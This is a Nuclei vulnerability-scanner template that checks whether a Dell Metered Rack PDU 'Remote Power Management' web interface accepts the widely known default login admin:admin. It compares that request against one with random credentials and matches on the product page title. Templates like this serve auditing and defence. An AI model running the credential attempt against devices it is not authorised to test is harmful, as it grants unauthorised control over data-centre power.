id: dell-dpi-default-login

info:
  name: Dell DPI Remote Power Management - Default Login
  author: megamansec
  severity: medium
  description: |
    The Dell Metered Rack Power Distribution Unit uses a default username and password which is widely known, and any user could change the default password with access.
  reference:
    - https://dl.dell.com/manuals/all-products/esuprt_ser_stor_net/esuprt_rack_infrastructure/dell-metered-pdu_user%27s%20guide3_en-us.pdf
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 2
  tags: dell,dpi,rpm,default-login
variables:
  str: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /index2.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:{{password}}')}}
      - |
        POST /index2.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{str}}:{{str}}')}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 401'
          - 'contains(body_2, "Unauthorized")'
          - '!contains(body_1, "/index.html")'
          - 'contains_any(tolower(body_1), "<TITLE>DELL DPI Remote Power Management", "title=\"DELL DPI Remote Power Management")'
        condition: and
# digest: 4b0a0048304602210086a69207e6f31b815d5e30ec9464fe19cbe0783df32bf0513d4c19b153b1aefc022100c29ee056ba4abe33841c9d45a63cb70e3e692f56e6de15809d94d70c7ae1e509:922c64590222798bb761d5b6d8e72950